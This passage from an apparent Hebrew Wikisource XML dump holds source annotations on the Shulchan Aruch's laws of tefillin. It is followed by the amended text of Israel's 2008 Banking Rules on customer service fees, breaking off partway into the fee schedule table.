&lt;קטע התחלה=לו/&gt;{{משע|בהג|ת|יעשה}} — הרא&quot;ש שם והמרדכי וארחות חיים והרמב&quot;ם בפרק ג'.

{{משע|בהג|א|ולכן נהגו}} — בית יוסף.&lt;קטע סוף=לו/&gt;

=== [[שולחן ערוך אורח חיים לב לז|סעיף לז]] ===
&lt;קטע התחלה=לז/&gt;{{משע|בהג|ב|עור הבתים}} — [[שבת כח ב]].

{{משע|בהג|ג|אפילו מנבילה}} — [[שבת קח א]].

{{משע|בהג|ד|ורשאי}} — טור בשם ספר התרומה.

{{משע|בהג|ה|צריך שיהיה מעובד}} — שם וסמ&quot;ג והרא&quot;ש בהלכות ספר תורה מצריכין עיבוד לשמה, והרמב&quot;ם לא מצריך.&lt;קטע סוף=לז/&gt;

=== [[שולחן ערוך אורח חיים לב לח|סעיף לח]] ===
&lt;קטע התחלה=לח/&gt;{{משע|בהג|ו|יעשה ד' בתים}} — [[מנחות לד ב]].&lt;קטע סוף=לח/&gt;

=== [[שולחן ערוך אורח חיים לב לט|סעיף לט]] ===
&lt;קטע התחלה=לט/&gt;{{משע|בהג|ז|תפילין בין}} — [[מנחות לה א|שם לה]] ותוספות ורמב&quot;ם בפרק ג ורא&quot;ש ושאר פוסקים.

{{משע|בהג|ח|עשאם מרובעות}} — מצא בשם שימושא רבא בתשובת אשכהזים.&lt;קטע סוף=לט/&gt;

=== [[שולחן ערוך אורח חיים לב מ|סעיף מ]] ===
&lt;קטע התחלה=מ/&gt;{{משע|בהג|ט|עור הבתים}} — הרא&quot;ש וספר התרומה והמרדכי בשם ר&quot;י נההיא דמנחות לה.

{{משע|בהג|י|חריץ שבין בית}} — שם בגמרא.

{{משע|בהג|כ|ואם לא הגיע}} — הרמב&quot;ם.&lt;קטע סוף=מ/&gt;

=== [[שולחן ערוך אורח חיים לב מא|סעיף מא]] ===
&lt;קטע התחלה=מא/&gt;{{משע|בהג|ל|אורך ורוחב הבתים}} — העיטור בשם הרי&quot;ף וסמ&quot;ג וספר אורחות חיים בשם רב האי גאון.&lt;קטע סוף=מא/&gt;

=== [[שולחן ערוך אורח חיים לב מב|סעיף מב]] ===
&lt;קטע התחלה=מב/&gt;{{משע|בהג|מ|שי&quot;ן של תפילין}} — [[מנחות לה א|מנחות ל&quot;ה]]:

{{משע|בהג|נ|של ימין המניח}} — תוספות שם בשם שימושא רבא, והרא&quot;ש והמנהיג:&lt;קטע סוף=מב/&gt;

=== [[שולחן ערוך אורח חיים לב מג|סעיף מג]] ===
&lt;קטע התחלה=מג/&gt;{{משע|בהג|ס|חריץ}} — [[מנחות לה א|מנחות ל&quot;ה]], לפירוש היש מפרשים שהביא הרא&quot;ש:&lt;קטע סוף=מג/&gt;

=== [[שולחן ערוך אורח חיים לב מד|סעיף מד]] ===
&lt;קטע התחלה=מד/&gt;{{משע|בהג|ע|תיתורא}} — [[מנחות לה א|שם בגמרא]]:

{{משע|בהג|פ|מעברתא}} — שם:

{{משע|בהג|צ|יגלגל}} — הרמב&quot;ם בפרק ג מהלכות תפילין והרא&quot;ש והמרדכי וספר התרומה מההיא דהקומץ בעניין מזוזה:

{{משע|בהג|ק|וכורכם}} — הרא&quot;ש בשם שימושא רבא:

{{משע|בהג|ר|ויש מקפידין}} — סמ&quot;ק וספר ארחות חיים והגהות מיימוני פרק ג' מהלכות תפילין:

{{משע|בהג|ש|והלכה למשה מסיני}} — [[שבת כח ב|שבת כ&quot;ח]] [[שבת קח א|וק&quot;ח]]:

{{משע|בהג|ת|ונהגו שיהיה}} — שימושא רבא ורמב&quot;ם:

{{משע|בהג|א|ואם לא מצא}} — הר&quot;י אכסנדרני:

{{משע|בהג|ב|קצת שיער}} — זוהר פרשה בא:&lt;קטע סוף=מד/&gt;

=== [[שולחן ערוך אורח חיים לב מה|סעיף מה]] ===
&lt;קטע התחלה=מה/&gt;{{משע|בהג|ג|יתן כל פרשה}} — הרא&quot;ש בסדר תיקון תפילין, והמרדכי לדעת רש&quot;י, והר&quot;י אכסנדרני, וספר ארחות חיים:&lt;קטע סוף=מה/&gt;

=== [[שולחן ערוך אורח חיים לב מו|סעיף מו]] ===
&lt;קטע התחלה=מו/&gt;{{משע|בהג|ד|יהיה הגליון}} — שם:&lt;קטע סוף=מו/&gt;

=== [[שולחן ערוך אורח חיים לב מז|סעיף מז]] ===
&lt;קטע התחלה=מז/&gt;{{משע|בהג|ה|אם כתב}} — [[מנחות לד ב|מנחות לד:]]:

{{משע|בהג|ו|של יד כותב}} — שם:

{{משע|בהג|ז|אם כתבם}} — שם:&lt;קטע סוף=מז/&gt;

=== [[שולחן ערוך אורח חיים לב מח|סעיף מח]] ===
&lt;קטע התחלה=מח/&gt;{{משע|בהג|ח|אם ציפה}} — [[סנהדרין מח ב|סנהדרין מח:]]:&lt;קטע סוף=מח/&gt;

=== [[שולחן ערוך אורח חיים לב מט|סעיף מט]] ===
&lt;קטע התחלה=מט/&gt;{{משע|בהג|ט|הלכה למשה}} — [[שבת כח ב|שבת כח:]] ו־[[שבת קח א|קח.]]:

{{משע|בהג|י|וטוב לתפור}} — שימושא רבא ונימוקי יוסף וספר התרומה:&lt;קטע סוף=מט/&gt;

=== [[שולחן ערוך אורח חיים לב נ|סעיף נ]] ===
&lt;קטע התחלה=נ/&gt;{{משע|בהג|כ|אין לקנות}} — אגור בשם מהר&quot;י מולין:

{{משע|בהג|ל|מקום שאין}} — העיטור:</text>
      <sha1>sxjy285z9aahkqplm4lkga55f20h9rp</sha1>
    </revision>
  </page>
  <page>
    <title>מקור:כללי הבנקאות (שירות ללקוח) (עמלות)</title>
    <ns>116</ns>
    <id>1723198</id>
    <revision>
      <id>3020653</id>
      <parentid>2923577</parentid>
      <timestamp>2026-06-18T15:27:46Z</timestamp>
      <contributor>
        <username>Fuzzy</username>
        <id>29</id>
      </contributor>
      <comment>תיקון תשפ&quot;ו</comment>
      <origin>3020653</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="135771" sha1="giijy9kcq3rpq7uj5esywwr0yuhbdee" xml:space="preserve">&lt;שם&gt; כללי הבנקאות (שירות ללקוח) (עמלות), התשס&quot;ח-2008

&lt;מקור&gt; ((ק&quot;ת תשס&quot;ח, 310|כללי הבנקאות (שירות ללקוח) (עמלות)|6637)), ((983|תיקון|6678)), ((1290|תיקון מס' 2|6705)); ((תש&quot;ע, 298|תיקון|6839)); ((תשע&quot;ג, 369|תיקון|7196)), ((1385|תיקון מס' 2|7261)); ((תשע&quot;ד, 282|תיקון|7309)); ((תשע&quot;ה, 808|תיקון|7486)), ((1088|תיקון (תיקון)|7502)), ((1290|תיקון מס' 2|7523)), ((1291|תיקון (תיקון מס' 2)|7523)); ((תשע&quot;ו, 1644|תיקון|7690)); ((תשע&quot;ז, 1693|תיקון|7854)); ((תשע&quot;ט, 3187|תיקון|8213)); ((תשפ&quot;ד, 3158|תיקון|11399)); ((תשפ&quot;ה, 82|תיקון|11525)), ((1513|תיקון מס' 2|11824)); ((תשפ&quot;ו, 2247|תיקון|12431)). ''הוספת שירותים לתעריפון המלא:'' ((י&quot;פ תשע&quot;ו, 9253|הודעה על אישור הוספת שירות לתעריפון המלא|7325)); ((תשע&quot;ח, 9709|הודעה על אישור הוספת שירות לתעריפון המלא|7877)); ((תשפ&quot;ב, 8392|הודעה על אישור הוספת שירות לתעריפון המלא|10527)).

&lt;מבוא&gt; &lt;!-- (תיקון: תשפ&quot;ו) --&gt; בתוקף סמכותי לפי [[+|סעיף 9ט]] [[=החוק|לחוק הבנקאות (שירות ללקוח), התשמ&quot;א-1981]] (להלן - החוק), ולאחר התייעצות עם הוועדה המייעצת, אני קובע כללים אלה:
----
((בנוסח זה משולב תיקון לכללים שתחילתו ביום כ&quot;ו בסיוון התשפ&quot;ז (1 ביולי 2027); על אף האמור, תאגיד בנקאי רשאי לפעול לפי הכללים המתוקנים קודם למועד התחילה האמור, ובלבד שיפעל לפי הכללים במלואם.))

@ 1. הגדרות (תיקון: תשס&quot;ח, תשס&quot;ח-2, תשע&quot;ג, תשע&quot;ג-2, תשע&quot;ד, תשע&quot;ה, תשע&quot;ה-3, תשע&quot;ה-4, תשע&quot;ו, תשע&quot;ז, תשע&quot;ט, תשפ&quot;ד, תשפ&quot;ו)
: בכללים אלה -
:- &quot;אזרח ותיק&quot; - ((תבוטל ביום 1.7.2027):)) כמשמעותו [[בחוק האזרחים הותיקים, התש&quot;ן-1989]];
:- &quot;אישור עקרוני&quot; - אישור שנותן תאגיד בנקאי לאדם, אשר ביקש מהתאגיד הבנקאי הלוואה, ומסר לו את פרטי הנכס המסוים, שבשלו נכנסת ההלוואה לגדר &quot;הלוואה לדיור&quot;;
:- &quot;באמצעות פקיד&quot; - לרבות באמצעות מוקד טלפוני מאויש;
:- &quot;בערוץ ישיר&quot; - בלא ממשק ישיר עם פקיד;
:- &quot;דוח שנתי&quot; - דוח שהוא אחד מאלה:
:: (1) דוח כספי שנתי כמשמעותו [[בפרק השישי לחלק הרביעי בחוק החברות((,)) התשנ&quot;ט-1999]];
:: (2) דוח שנתי למס הכנסה כמשמעותו [[בסעיף 131 לפקודת מס הכנסה]];
:: (3) דוחות תקופתיים, כמשמעותם [[בסעיף 67 לחוק מס ערך מוסף, התשל&quot;ו-1975]], ובלבד שיהיו רצופים ותקופתם המצטברת תהיה שנה אחת לפחות;
:: (4) אישור חתום בידי רואה חשבון;
:- &quot;הלוואה לדיור&quot; - הלוואה שמתקיים בה אחד מאלה, ובלבד שלא ניתנה למטרת עסק:
:: (1) היא מיועדת לרכישה או לחכירה של דירת מגורים, בנייתה, הרחבתה או שיפוצה;
:: (2) היא מיועדת לרכישת קרקע לבניית דירת מגורים או לרכישת זכות בדירת מגורים תמורת דמי מפתח;
:: (3) היא ניתנה במשכון דירת מגורים;
:: (4) היא מיועדת, במלואה או בחלקה, למימון פירעון מוקדם של הלוואה כאמור בפסקאות (1) ו-(2);
:- &quot;חשבון תשלום&quot; - (((החל מיום 1.7.2027):)) כהגדרתו [[בחוק שירותי תשלום, התשע&quot;ט-2019]], ובכלל זה חשבון עובר ושב;
:- &quot;יחיד&quot; - לרבות נציגות בית משותף;
:- &quot;לקוח מזדמן&quot; - מי שאינו בעלים בחשבון המתנהל בתאגיד הבנקאי, מיופה כוח או מורשה חתימה בחשבון כאמור;
:- &quot;מכשיר מרוחק&quot; - מכשיר הנמצא במרחק העולה על 500 מטרים מסניף של התאגיד הבנקאי המפעיל אותו;
:- &quot;מכשיר סמוך&quot; - מכשיר הנמצא על גבי קיר של סניף של התאגיד הבנקאי המפעיל אותו או במרחק שאינו עולה על 500 מטרים מסניף של התאגיד הבנקאי המפעיל אותו;
:- &quot;מכשיר נדרש&quot; - מכשיר המוצב בהתאם להחלטת המפקח לפי [[סעיף 28א לחוק הבנקאות (רישוי), התשמ&quot;א-1981]];
:- &quot;מסלול&quot; - ((תבוטל ביום 1.7.2027):)) כל אחד מאלה: מסלול בסיסי, מסלול מורחב, מסלול מורחב פלוס;
:- &quot;מסלול בסיסי&quot; - ((תבוטל ביום 1.7.2027):)) מסלול הכולל עד פעולה אחת על ידי פקיד ועד 10 פעולות בערוץ ישיר במהלך תקופה של חודש;
:- &quot;מסלול מורחב&quot; - ((תבוטל ביום 1.7.2027):)) מסלול הכולל עד 10 פעולות על ידי פקיד ועד 50 פעולות בערוץ ישיר, והכול במהלך תקופה של חודש;
:- &quot;מסלול מורחב פלוס&quot; - ((תבוטל ביום 1.7.2027):)) מסלול הכולל את הפעולות ומספרן לפי המסלול המורחב, וכן שירותים נוספים לפי החלטת התאגיד הבנקאי, והכול במהלך תקופה של חודש;
:- &quot;אדם עם מוגבלות&quot; - ((תבוטל ביום 1.7.2027):)) לקוח שהציג לבנק אישור ממשרד הביטחון או מהמוסד לביטוח לאומי, כמשמעותו [[בחוק הביטוח הלאומי [נוסח משולב], התשנ&quot;ה-1994]], ולפיו הוא סובל מנכות בשיעור של 40% או יותר;
:- &quot;עסק קטן&quot; - כל אחד מאלה:
:- &quot;עסק קטן&quot; - ((החל מיום 1.7.2027):)) לעניין הגדרת תאגיד לפי [[סעיף 9ט(ו) לחוק]], כל אחד מאלה:
:: (1) (((נמחקה);))
:: (2) תאגיד שטרם חלפה שנה מיום התאגדותו;
:: (3) תאגיד שמסר לתאגיד הבנקאי דוח שנתי, על פיו מחזור העסקים שלו בשנה שקדמה למועד מסירתו, אינו עולה על חמישה מיליון שקלים חדשים; מסר תאגיד לתאגיד הבנקאי דוח שנתי כאמור, יסווגו התאגיד הבנקאי כעסק קטן החל מה-1 בחודש העוקב לחודש שבו נמסר הדוח השנתי והתאגיד לא יידרש למסור דוח שנתי נוסף; היה לתאגיד הבנקאי יסוד סביר להניח כי מחזור העסקים של אותו תאגיד בשנה האחרונה עולה על חמישה מיליון שקלים חדשים, רשאי הוא לדרוש בכתב מאותו תאגיד למסור לו דוח שנתי; לא נענתה דרישתו זו, רשאי התאגיד הבנקאי לסווג את אותו תאגיד כעסק שאינו עסק קטן החל ב-1 בחודש השני שלאחר משלוח הדרישה;
:: (4) (((בוטלה);))
:: (5) על אף האמור בפסקאות (2) עד (3), לעניין [[תוספת 1 חלק 12|חלקים 12]] [[תוספת 1 חלק 13|ו-13 לתוספת הראשונה]] יראו כעסק קטן ((של)) תאגיד שטרם חלפה שנה מיום התאגדותו או שמחזור הסליקה השנתי של עסקאות בכרטיסי חיוב שנעשית בעבורו על ידי התאגיד הבנקאי אינו עולה על שלושה מיליון שקלים חדשים בשנה; לעניין פסקה זו, בדיקת מחזור הסליקה השנתי תיעשה על פי הנתונים המצויים בידי התאגיד הבנקאי;
:: למעט תאגיד שהוקם על פי דין, קרן הון סיכון, כהגדרתה [[#תוספת ראשונה פרט 9|בפסקה (9) לתוספת הראשונה לחוק ניירות ערך, התשכ&quot;ח-1968]] (להלן - קרן הון סיכון), וחברה אשר מסרה דוח שנתי המציג השקעה של קרן הון סיכון בסכום העולה על חמישה מיליון שקלים חדשים, וכן למעט חברה שכל בעלי המניות בה הם תאגידים שאינם &quot;עסק קטן&quot;;
:- &quot;ערוצי קשר המוצעים על ידי התאגיד הבנקאי&quot; - מענה טלפוני והאזור האישי של הלקוח באתר האינטרנט של התאגיד הבנקאי, לכל הפחות;
:- &quot;פריטה&quot; - מסירת שטר או מטבע או צירוף של שניהם כנגד קבלת שטר או מטבע או צירוף של שניהם בערך שווה לסכום הנקוב בהם, למעט החלפה של הילך חוקי ישן בהילך חוקי חדש בעריך זהה;
:- &quot;ש&quot;ח&quot; - שקלים חדשים;
:- &quot;תחילת קבלת השירות&quot; - בחשבון עובר ושב - בעת חתימת הלקוח על חוזה פתיחת החשבון; בהנפקת כרטיס חיוב - בעת חתימת הלקוח על חוזה ההנפקה; במתן הלוואה לדיור - בעת מתן האישור העקרוני ללקוח; בסליקה של עסקאות בכרטיסי חיוב - בעת חתימת הלקוח על חוזה הסליקה;
:- &quot;תחילת קבלת השירות&quot; - (((החל מיום 1.7.2027):)) בחשבון תשלום - בעת כריתת חוזה פתיחת החשבון; בהנפקת כרטיס חיוב - בעת כריתת חוזה ההנפקה; במתן הלוואה לדיור - בעת מתן האישור העקרוני ללקוח; בסליקה של עסקאות בכרטיסי חיוב - כריתת חוזה הסליקה.

@ 2. התעריפון המלא (תיקון: תשע&quot;ג-2, תשע&quot;ה, תשע&quot;ז, תשפ&quot;ו)
: (א) התעריפון המלא ללקוחות המקבלים שירות מתאגיד בנקאי הוא כמפורט [[בתוספת הראשונה]].
: (ב) עמלה שרשאי תאגיד בנקאי לגבות בעד שירות הכלול בתעריפון המלא, תחושב באופן שלא תעלה על סכום או שיעור העמלה הנגבית בעד אותו שירות מתאגיד שאינו עסק קטן, למעט עמלה בעד שירות סליקה של עסקאות בכרטיס חיוב.
: (ג) עמלה שרשאי תאגיד בנקאי לגבות בעד שירות הכלול בתעריפון המלא, הניתן בערוץ ישיר, תהיה נמוכה מסכום או משיעור העמלה שהתאגיד הבנקאי קבע לאותו שירות הניתן באמצעות פקיד, למעט אם השירות באמצעות פקיד ניתן בלא עלות; (((החל מיום 1.7.2027):)) סעיף זה לא יחול על שירות ניהול חשבון תשלום.
: (ד) תאגיד בנקאי המבקש לגבות מלקוח מזדמן עמלה שקבע לפי [[התוספת הראשונה]], שהיא גבוהה מסכום או משיעור העמלה שהוא קבע כאמור בעד אותו שירות הניתן ללקוח שאינו לקוח מזדמן, יוודא שהלקוח הוא לקוח מזדמן.
:: (((החל מיום 1.7.2027):)) תאגיד בנקאי המבקש לגבות מלקוח מזדמן עמלה, שהיא גבוהה מסכום או משיעור העמלה שהוא קבע כאמור בעד אותו שירות הניתן ללקוח שאינו לקוח מזדמן, יוודא שהלקוח הוא לקוח מזדמן.
: (ה) (((החל מיום 1.7.2027):)) תאגיד בנקאי המציע שירות הכלול [[פרט 14א תוספת ראשונה|בפרט 14(א) לתעריפון המלא שבתוספת הראשונה]], רשאי לגבות עמלות בעד שירות כאמור לפי פרט זה או לפי [[פרט 1.1א תוספת ראשונה|פרט 1(א1) לתעריפון המלא שבתוספת הראשונה]].

@ 3. התעריפונים המצומצמים (תיקון: תשע&quot;ה, תשע&quot;ה-3, תשפ&quot;ו)
: התעריפונים המצומצמים יהיו כלהלן:
: (1) ללקוחות המקבלים מהתאגיד הבנקאי שירות של ניהול חשבון עובר ושב - כמפורט [[בתוספת השניה]];
:: (((החל מיום 1.7.2027):)) ללקוחות המקבלים מהתאגיד הבנקאי שירות של ניהול חשבון תשלום - כמפורט [[בתוספת השניה]];
: (2) ללקוחות המקבלים מהתאגיד הבנקאי שירות של הלוואה לדיור - כמפורט [[בתוספת השלישית]];
: (3) ללקוחות שהתאגיד הבנקאי הנפיק להם כרטיס חיוב - כמפורט [[בתוספת הרביעית]];
: (4) ללקוחות המקבלים מהתאגיד הבנקאי שירות סליקה של עסקאות בכרטיס חיוב - כמפורט [[בתוספת החמישית]].

@ 4. הצגת התעריפונים ללקוח ומסירתם (תיקון: תשע&quot;ג, תשע&quot;ה-3, תשע&quot;ז, תשע&quot;ט, תשפ&quot;ו)
: (א) תאגיד בנקאי יציג בסניפיו, במקום בולט לעין, את התעריפון המלא על נספחיו ואת התעריפונים המצומצמים.
: (ב) תאגיד בנקאי יאפשר לכל אדם לקבל את התעריפון המלא על נספחיו ואת התעריפונים המצומצמים בערוצי הקשר המוצעים על ידי התאגיד הבנקאי או בסניפיו, על פי העדפת הלקוח, ובאמצעות קישור ישיר מדף הבית של אתר האינטרנט שלו; כן יאפשר התאגיד הבנקאי ללקוחותיו לקבל את התעריפונים המצומצמים באמצעות מכשירים אוטומטיים שהוא מעמיד לשירות לקוחותיו.
: (ג) תאגיד בנקאי ימסור ללקוח את התעריפון המצומצם המתאים לשירות שמקבל הלקוח מהתאגיד הבנקאי, כאמור [[בסעיף 3]], בעת תחילת קבלת השירות; (((החל מיום 1.7.2027):)) הצטרף לקוח לחבילה לפי [[חלק 16 שבתוספת הראשונה]], ימסור לו התאגיד הבנקאי את [[נספח א'1 שבתוספת הראשונה]], הכולל את תכולת החבילה שאליה הצטרף.
: (ד) לעניין [[חלק 12 לתוספת הראשונה]] ולעניין [[התוספת החמישית]], לגבי לקוחות שחשבונם מנוהל במטבע חוץ, רשאי התאגיד הבנקאי להציג את מחירי השירותים במטבע חוץ.
: (ה) תאגיד בנקאי יציג, במסך הכניסה של כל מכשיר אוטומטי המאפשר משיכת מזומן או באמצעות סימון על גבי המכשיר האוטומטי, מידע על אודות העמלה שהוא גובה בעד משיכת מזומן לפי סוגי כרטיסי החיוב ובהתאם לסוג המכשיר; לעניין זה -
::- &quot;מסך כניסה&quot; - מסך המופיע באופן אוטומטי לפני פעולה כלשהי של הלקוח;
::- &quot;סוג מכשיר&quot; - מכשיר מרוחק, מכשיר סמוך ומכשיר נדרש.

@ 4א. הצטרפות למסלול (תיקון: תשע&quot;ד, תשע&quot;ה, תשע&quot;ו, תשע&quot;ט, תשפ&quot;ד, תשפ&quot;ו)
: (א) תאגיד בנקאי יכלול במסגרת השירותים המוצעים ללקוח את המסלול הבסיסי ואת המסלול המורחב, ויאפשר לכל לקוח להצטרף אליהם.
: (ב) תאגיד בנקאי יאפשר לכל לקוח להצטרף לאחד המסלולים באמצעות מתן הודעה לתאגיד הבנקאי שתימסר בסניף התאגיד הבנקאי או בערוצי הקשר המוצעים על ידי התאגיד הבנקאי, על פי העדפת הלקוח (להלן - הודעת ההצטרפות); ההצטרפות תיכנס לתוקף ב-1 בחודש שלאחר מועד מסירת הודעת ההצטרפות.
: (ב1) נגבו מלקוח שהוא אזרח ותיק או אדם עם מוגבלות, עמלות לפי [[תוספת 1 פרט 1א.2|פרט 1(א)(2)]] [[תוספת 1 פרט 1א.3|או (3) שבתוספת הראשונה]], בסכום העולה על הסכום שהיה משלם בפועל אילו היה מצטרף למסלול הבסיסי, בכל חודש במהלך תקופה של שנת כספים, יחשב התאגיד הבנקאי את ההפרשים בין הסכומים האמורים; מצא התאגיד הבנקאי כי ההפרשים בכל חודש גבוהים מאפס, יצרפו התאגיד הבנקאי למסלול הבסיסי עד יום 1 במרס של השנה העוקבת; התאגיד הבנקאי יודיע ללקוח כאמור על צירופו למסלול הבסיסי ועל אפשרותו לבטל את צירופו; ההודעה תינתן בכתב באופן שבו נוהג התאגיד הבנקאי למסור לאותו לקוח הודעות.
: (ב2) נגבו מלקוח שהוא עסק קטן או עוסק מורשה כהגדרתו [[בחוק מס ערך מוסף, התשל&quot;ו-1975]], עמלות לפי [[תוספת 1 פרט 1א.2|פרט 1(א)(2)]] [[תוספת 1 פרט 1א.3|או (3) שבתוספת הראשונה]], בסכום העולה על הסכום שהיה משלם בפועל אילו היה מצטרף למסלול הבסיסי או למסלול המורחב, בכל חודש במהלך תקופה של שנת כספים, יחשב התאגיד הבנקאי את ההפרשים בין הסכומים האמורים, לגבי כל אחד מהמסלולים; מצא התאגיד הבנקאי כי ההפרשים בכל חודש גבוהים מאפס, יצרפו למסלול הבסיסי או המורחב, בהתאם לממוצע ההפרשים הגבוה יותר, עד יום 1 במרס של השנה העוקבת; התאגיד הבנקאי יודיע ללקוח כאמור על צירופו למסלול ועל אפשרותו לבטל את צירופו; ההודעה תינתן בכתב באופן שבו נוהג התאגיד הבנקאי למסור לאותו לקוח הודעות.
: (ג) הצטרף לקוח לאחד המסלולים וחרג מהמכסה המרבית של הפעולות הכלולות באותו מסלול כמפורט [[תוספת 1 פרט 1ג|בפרט 1(ג) לחלק 1 לתוספת הראשונה]], רשאי התאגיד הבנקאי לגבות עמלה בעד הפעולות הנוספות לפי התעריפון המלא; הערות 1 ו-2 המופיעות בטור &quot;הערות&quot; לצד [[תוספת 1 פרט 1א.2|פסקה (2) שבפרט 1(א) לחלק 1 לתוספת הראשונה]] יחולו על גביית עמלה בעד פעולות נוספות כאמור.
: (ד) לקוח רשאי לבטל את הצטרפותו לאחד המסלולים באמצעות מתן הודעה לתאגיד הבנקאי שתימסר בסניף התאגיד הבנקאי או בערוצי הקשר המוצעים על ידי התאגיד הבנקאי, על פי העדפת הלקוח (להלן - הודעת הביטול); הביטול ייכנס לתוקף ב-1 בחודש שלאחר מועד מסירת הודעת הביטול.
: (ה) על אף האמור בסעיפים קטנים (ב) ו-(ד), תאגיד בנקאי רשאי לאפשר ללקוחותיו להכניס לתוקף בקשת הצטרפות או בקשת ביטול לפני 1 בחודש שלאחר מועד מסירת ההודעה, ובלבד שיקבע ויפרסם מנגנון סביר והוגן לחישוב החלק היחסי שיגבה מהלקוח בעד חלקי החודש.
: (((החל מיום 1.7.2027):))
: (א) (((בוטל).))
: (ב) (((בוטל).))
: (ב1) (((בוטל).))
: (ב2) (((בוטל).))
: (ג) (((בוטל).))
: (ד) לקוח רשאי לבטל את הצטרפותו לשירות המוצע בדמי מנוי [[תוספת 1 חלק 16|במסגרת חלק 16 לתעריפון המלא]] באמצעות מתן הודעה לתאגיד הבנקאי שתימסר בסניף התאגיד הבנקאי או בערוצי הקשר המוצעים על ידי התאגיד הבנקאי, על פי העדפת הלקוח (להלן - הודעת הביטול); הביטול ייכנס לתוקף ב-1 בחודש שלאחר מועד מסירת הודעת הביטול.
: (ה) על אף האמור בסעיף קטן (ד), תאגיד בנקאי רשאי לאפשר ללקוחותיו להכניס לתוקף בקשת ביטול לפני 1 בחודש שלאחר מועד מסירת ההודעה, ובלבד שיחליט על מנגנון סביר והוגן לחישוב החלק היחסי שיגבה מהלקוח בעד חלקי החודש ויפרסם אותו.

@ 5. תחילה
: תחילתם של כללים אלה כאמור [[17:300135|בסעיף 6(ד) לחוק הבנקאות (שירות ללקוח) (תיקון מס' 12), התשס&quot;ז-2007]].

== תוספת ראשונה ==
==== ((([[סעיפים 1]], [[2]], [[4]] [[ו-4א]]))) (תיקון: תשע&quot;ד, תשע&quot;ט) ====
=== התעריפון המלא ===

@ (תיקון: תשס&quot;ח, תשס&quot;ח-2, תש&quot;ע, תשע&quot;ג, תשע&quot;ד, תשע&quot;ה, תשע&quot;ה-2, תשע&quot;ה-3, תשע&quot;ה-4, תשע&quot;ו, תשע&quot;ז, תשע&quot;ט, י&quot;פ תשפ&quot;ב, תשפ&quot;ד, תשפ&quot;ה, תשפ&quot;ה-2, תשפ&quot;ו)
: {| width=&quot;100%&quot;
! width=&quot;40%&quot; | שירות !! מחיר !! מועד הגביה !! הערות
|- &lt;עוגן תוספת 1 חלק 1&gt;
| colspan=&quot;4&quot; | {{ממורכז|{{מוגדל|'''חלק 1 - חשבון עובר ושב'''}}}}
|- &lt;עוגן פרט 1א&gt;
| colspan=&quot;4&quot; | '''1(א) - שירותים נפוצים בחשבון עובר ושב'''
|- &lt;עוגן פרט 1א.1&gt;
| :: (1) &lt;!-- (תיקון: תשע&quot;ג) --&gt; '''דמי ניהול חשבון לעסק קטן''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 1א.2&gt;
| :: (2) &lt;!-- (תיקון: תשס&quot;ח, תשס&quot;ח-2, תשע&quot;ג, תשע&quot;ד, תשע&quot;ה, תשע&quot;ו, תשע&quot;ז, תשע&quot;ט, תשפ&quot;ד) --&gt; '''פעולה על ידי פקיד'''
::: פעולות כמפורט להלן, הנעשות באמצעות פקיד בנק, לרבות באמצעות מוקד טלפוני מאויש:
::: (1) הפקדת מזומן
::: (2) משיכת מזומן
::: (3) הפקה ומסירת תדפיס לבקשת לקוח
::: (4) העברה או הפקדה לחשבון אחר
::: (5) פדיון שיק (כולל משיכה בשיק עצמי)
::: (6) הפקדת שיק (לכל קבוצת שיקים - עד 20 שיקים)
::: (7) תשלום שובר
::: (8) פריטת מזומן
| : .... ש&quot;ח (בפיקוח)
: לקוח מזדמן - .... ש&quot;ח
| : בתחילת החודש בעד החודש שקדם לו
: ולגבי לקוח מזדמן - במועד ביצוע הפעולה
| : 1. לקוח שאינו מחזיק כרטיס למשיכת מזומן, לקוח שהוא אדם עם מוגבלות ולקוח שהוא אזרח ותיק, זכאים ל-4 פעולות על ידי פקיד בחודש במחיר פעולה בערוץ ישיר. זכאות כאמור של אדם עם מוגבלות תחל ב-1 בחודש שלאחר הצגת תעודה או אישור כנדרש.
: 2. במקרה שהתאגיד הבנקאי אינו מעמיד לרשות הלקוחות אפשרות סבירה לבצע פעולות של הפקדת שיקים או הפקדת מזומן בערוץ ישיר, גובהה המרבי של עמלה זו, בשל ביצוע אותן פעולות, יהיה בגובה עמלה בשל פעולה בערוץ ישיר.
: 3. הבנק רשאי לגבות בחודש את הגבוה מבין שני אלה:
:: (1) הסכום הכולל של העמלות בשל פעולות בערוץ ישיר ופעולות על ידי פקיד שביצע הלקוח בפועל.
:: (2) עמלת מינימום בסכום שאינו עולה על מחיר של פעולה אחת על ידי פקיד.
: 4. אין לגבות עמלה זו נוסף על עמלת טיפול במזומנים על ידי פקיד.
|- &lt;עוגן פרט 1א.3&gt;
| :: (3) &lt;!-- (תיקון: תשס&quot;ח-2, תשע&quot;ג, תשע&quot;ד, תשע&quot;ה, תשע&quot;ז, תשפ&quot;ד) --&gt; '''פעולה בערוץ ישיר'''
::: אחת הפעולות האלה:
::: (1) זיכוי חשבון באמצעות מסלקה
::: (2) חיוב בכרטיס אשראי
::: (3) הפקדת מזומן
::: (4) משיכת מזומן במכשיר אוטומטי&lt;sup&gt;1&lt;/sup&gt;
::: (5) העברה או הפקדה לחשבון אחר
::: (6) תשלום שובר
::: (7) שאילתת מידע בכל נושא (החל בשאילתה השביעית בחודש)&lt;sup&gt;2&lt;/sup&gt;
::: (8) משיכת שיק
::: (9) הפקדת שיק (לכל קבוצת שיקים - עד 20 שיקים), לרבות באמצעות תיבת שירות
::: (10) חיוב על פי הרשאה לחיוב חשבון או הוראת קבע
| .... ש&quot;ח (בפיקוח)
| בתחילת החודש בעד החודש שקדם לו
| : אין לגבות את העמלה בעד שאילתות מידע באמצעות האינטרנט, מענה טלפוני ממוחשב (IVR) או בעד פעולת חיוב בכרטיס חיוב מיידי.
: במקרה של ביטול הרשאה לחיוב חשבון או הוראת קבע לפני שהוצגו 6 חיובים לפחות - התאגיד הבנקאי רשאי לגבות עמלה בגובה של עד 6 פעולות בערוץ ישיר&lt;sup&gt;3&lt;/sup&gt;.
|- &lt;עוגן פרט 1א.4&gt;
| :: (4) '''פנקס שיקים'''
| : רגיל - .... ש&quot;ח (בפיקוח)
: מיוחד - .... ש&quot;ח
: {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי בנספח שיצורף לתעריפון ויימסר ללקוח}}
| ||
|- &lt;עוגן פרט 1א.5&gt;
| :: (5) &lt;!-- (תיקון: תשע&quot;ג) --&gt; '''כרטיס מידע''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 1א.6&gt;
